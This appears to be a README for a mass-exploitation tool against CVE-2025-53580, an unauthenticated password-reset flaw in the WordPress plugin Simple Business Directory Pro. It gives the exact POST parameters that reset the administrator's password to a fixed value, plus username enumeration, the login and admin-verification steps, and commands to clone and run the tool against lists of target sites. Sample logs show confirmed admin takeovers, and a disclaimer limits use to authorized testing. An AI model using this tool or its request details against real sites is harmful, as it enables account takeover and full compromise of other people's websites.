WordPress Simple Business Directory Pro 插件 < 15.6.9 存在高危权限提升漏洞
___ _ ___ __ __ __ ____ ____ ___ ____ __ __
/ (_)(_| |_// (_) / )/ \/ )| | / \| / \ / \
| | | \__ /| | / |___ |___ __/|___ \__/| |
| | | / -----/ | |/ \----- \ \ \/ \| |
\___/ \_/ \___/ /___\__//___\___/ \___/\___/\___/\__/ \__/
根本原因：
该插件暴露了一个前端密码恢复表单（qcpd-restore-pwd），它接受一个数字类型的 qcpd-uid（WordPress 用户 ID）和一个新的 pass 值。在密码被更改之前，不执行任何身份验证、令牌、nonce 或电子邮件验证。任何未认证的攻击者都可以通过提交单个 POST 请求来重置用户 ID 1（通常是站点管理员）以及任何其他用户的密码，然后使用注入的密码进行身份验证，从而获得完全的管理员访问权限。
┌─────────────────────────────────────────────────────────────────┐
│ 1. Discover SBD restore page │
│ Probe 24 candidate paths → match body containing "sbd" │
│ │
│ 2. Reset passwords by user ID │
│ POST <restore_url> │
│ qcpd-restore-pwd = restore │
│ qcpd-restore-pwd-type = user │
│ qcpd-uid = 1 (then 2, then 3) │
│ pass = NxploitedNX │
│ │
│ 3. Enumerate usernames │
│ /?author=1..9 → redirect / body parse │
│ /wp-json/wp/v2/users → slug / username fields │
│ hostname heuristic + "admin" fallback │
│ │
│ 4. Login with injected password │
│ POST /wp-login.php log=<user> pwd=NxploitedNX │
│ Check: wordpress_logged_in cookie present │
│ │
│ 5. Verify admin access (dual method) │
│ GET /wp-json/wp/v2/users/me → capabilities.manage_options│
│ GET /wp-admin/users.php → adminmenu / users table │
│ │
│ 6. Write confirmed hit → Nx_sbd_login_hits.txt │
└─────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-53580.git
cd CVE-2025-53580
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
python3 CVE-2025-53580.py
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Successful hits file [Nx_sbd_login_hits.txt]: Nx_sbd_login_hits.txt
所有重置尝试注入的密码在内部固定为：
NxploitedNX
每个站点针对的用户 ID：
1、2、3（可通过MAX_USER_ID配置）
list.txthttps://target1.com
target2.com
http://target3.com
该工具对每个目标扫描 24 条路径，查找页面正文中包含 sbd 的页面：
/login /log-in /signin /sign-in
/user-login /account/login /restore /password-reset
/reset-password /lost-password /lostpassword /user/restore
/my-account /members/login /member-login /customer-login
/wp-login.php /blog/login /auth/login /auth/restore
/sbd-login /sbd-restore /blog/log-in /account/log-in
每次成功登录在写入磁盘之前，都会通过两个独立的检查进行验证：
方法 1 — REST API：
GET /wp-json/wp/v2/users/me
→ capabilities.manage_options = true → ADMIN CONFIRMED
方法 2 — 仪表盘：
GET /wp-admin/users.php
→ adminmenu / users table markers present → ADMIN CONFIRMED
Nx_sbd_login_hits.txt
[2025-06-01 14:22:10] https://target.com - type=ADMIN - user=admin
- login=/wp-login.php user=admin pass=NxploitedNX
- detail=ADMIN_CONFIRMED_REST(manage_options)
[2025-06-01 14:23:05] https://target2.com - type=USER - user=editor
- login=/wp-login.php user=editor pass=NxploitedNX
- detail=not_admin(rest_no_manage_options, wpadmin_no_strong_markers)
[info] https://target.com :: starting
[ok] https://target.com :: found front-end sbd page at https://target.com/my-account
[info] https://target.com :: starting qcpd-uid=1..3 brute with pass=NxploitedNX
[info] https://target.com :: POST uid=1 → status=302, Location=/my-account/?restored=1
[info] https://target.com :: POST uid=2 → status=302, Location=/my-account/?restored=1
[info] https://target.com :: extracting usernames and trying login
[ok] https://target.com :: login OK for user='admin', checking admin...
[ok] https://target.com :: HIT for user='admin' → admin=True,
detail=ADMIN_CONFIRMED_REST(manage_options)
[warn] https://target2.com :: no sbd page found in candidate restore paths, skipping
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Simple Business Directory Pro < 15.6.9 · 已在 15.6.9 中修复
| 字段 | 详情 |
|---|
| CVE | CVE-2025-53580 |
| 插件 | quantumcloud Simple Business Directory Pro (simple-business-directory-pro) |
| 受影响版本 | 所有版本 < 15.6.9 |
| 认证 | 无需认证 |
| 类型 | 错误的权限分配 → 未认证密码重置 |
| CWE | CWE-266 · 错误的权限分配 |
| 方法 | 端点 |
|---|
| 作者重定向 | /?author=1 → /?author=9 |
| REST API | /wp-json/wp/v2/users → slug + username |
| 主机名启发式 | 域名的第一个标签 |
| 硬编码回退 | 始终包含 admin |